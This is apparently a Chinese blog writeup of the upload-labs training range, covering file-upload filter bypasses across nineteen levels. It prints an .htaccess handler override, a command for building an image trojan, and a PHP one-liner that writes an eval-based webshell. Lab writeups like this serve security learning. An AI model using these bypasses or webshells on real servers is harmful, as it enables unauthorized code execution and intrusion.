700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 复现文件上传漏洞(靶场练习)

复现文件上传漏洞(靶场练习)

时间:2021-07-03 12:32:49

相关推荐

复现文件上传漏洞(靶场练习)

最近越来越感觉菜了,又把各种漏洞基础原理深入理解玩了玩,巩固一下。然后找到一个不错的上传漏洞汇总的靶场,记录一下。

靶场源码地址:/c0ny1/upload-labs

我这里为了方便,就下载了靶主已经集成配置好的环境进行本地搭建。地址:/c0ny1/upload-labs/releases

本地搭建好是下面这个页面:

考察点:

直接开始

第一关

查看提示

直接利用Burp Suite代理改后缀 ,或者利用插件禁用js。

成功上传

第二关

查看提示

利用Burp Suite修改Content-Type类型为 image/jpeg

成功上传

第三关

查看提示

修改后缀为php3依然会被解析

成功上传

第四关

查看提示

基于黑名单的方式,这一关利用重写文件解析规则绕过 上传.htaccess文件(基于黑名单)

大概原理:

Apache中当上传到文件全部被解析为.jpg的后缀时。可以尝试一下后缀为.htaccess的文件。

<FilesMatch "4.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

代码的含义 是 将上传的文件后缀名为.jpg格式的文件以 php格式来解析文件成功绕过

上传

菜刀连接一下

可以直接用菜刀连接http://127.0.0.1/upload/4.jpg

第五关

查看提示

这里无法使用.htaccess文件绕过

利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

双引号"= 点号.大于符号> = 问号?小于符号< = 星号*

然后使用:截断上传, :截断上传会使文件为空,可以利用上述特性再次上传 5.< 覆盖写入shell。

成功上传,但是大小为0KB。

再次上传

成功写入

参考链接: /php-windows-upload.html

第六关

查看提示

依旧是黑名单过滤,查看源代码

还是利用Windows系统的文件名特性,文件名中不能出现点,冒号,空格等符号的特性,会直接消除

会被windows系统自动去掉不符合规则符号后面的内容

在Burp Suite中修改其上传名加上 空格 绕过代码。

成功上传

第七关

查看提示

查看源代码

与上一关相比,并没有删除点 可以最后加点绕过

成功

第八关

查看提示

查看源代码

这里没有过滤::$DATA 利用Windows文件流特性绕过 构造8.php::$DATA 会被保存为8.php

当然我们也可以通过构造8.php. . 点空格点 绕过函数校验。

这里就演示构造8.php::$DATA

第九关

查看提示

查看源代码

依然是黑名单校验加文件名处理

这里就利用上一关的第二种方式绕过

成功

第十关

查看提示

会去除脚本后缀,可以通过双写绕过

可以看到保存为10.php

第十一关

查看提示

抓包

补充点知识:

截断条件: php版本小于5.3.4大于此版本的修复了

php的magic_quotes_gpcOFF状态这函数是魔术引号,会对敏感的字符转义的 空就会被转义加个反斜杠

因为我们是集成包,所以环境一切都是完美的~~~

利用截断,构造路径 文件名就会被截断啦。

成功

第十二关

查看提示

老样子,抓包修改

提交方式不一样而已 构造0x00截断 这里在16进制改加个分号方便查找进行修改

成功

第十三关

只需将图片马上传即可,后期可以利用文件包含漏洞实现getshell

查看提示

这里进行了上传文件头检测

我们在我们的上传文件 加入jpg,png,gif的文件头

这里是16进制 可以用winhex进行查看修改或者直接构造图片马(下一题)

提交

等效16进制

成功,文件已经重命名

- - 偷偷懒就不写jpg和png了

第十四关

查看提示

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,我们在图片中插入一句话并且可以正常显示图片绕过此函数。

构造图片马

准备一张正常的图,和一句话木马 在命令行

copy 1.jpg /b + 1.php 14.jpg

参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件

意思是将1.jpg以二进制与1.php合并成14.jpg 14.jpg就是图片马 记事本方式打开一句话木马被插在最后

上传

- - 然后就失败了,我试了试正常的jpg图片也不行。png和gif的通过

第十五关

查看提示

这一关拿上一次生成的jpg马就可以上传~

第十六关

查看提示

查看源代码

-

二次渲染- -

根据用户上传的图片,生成一个新的图片,然后删除用户上传的原始图片,将新图片存储到数据库中。

从其他writeup找的过渲染的图片马(强)

和这个损坏的jpg警告提示报错,但是依旧成功上传,并且没有重命名。

- - 自己想了不少姿势,想打组合拳,都没有bypass。

第十七关

查看提示

上传php文件会被删除 利用条件竞争漏洞,不断请求资源,在删除文件之间请求该文件。

<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[aaa]) ?>'); ?>

本地没有复现成功- - , 然后用第五关的姿势也是得到了getshell

第十八关

代码审计

参考别人的writeup(待补充原理~) 利用上传重命名竞争+Apache解析漏洞 不断发包

可用菜刀直接连接

第十九关

查看提示

CVE--2348

move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的

发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过:

构造

或者

均可绕过

复现了听过没实际操作过或者没了解过的姿势。同一关卡可以有不同姿势,也是有待研究和补充的。

参考链接:/LandGrey/upload-labs-writeup

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。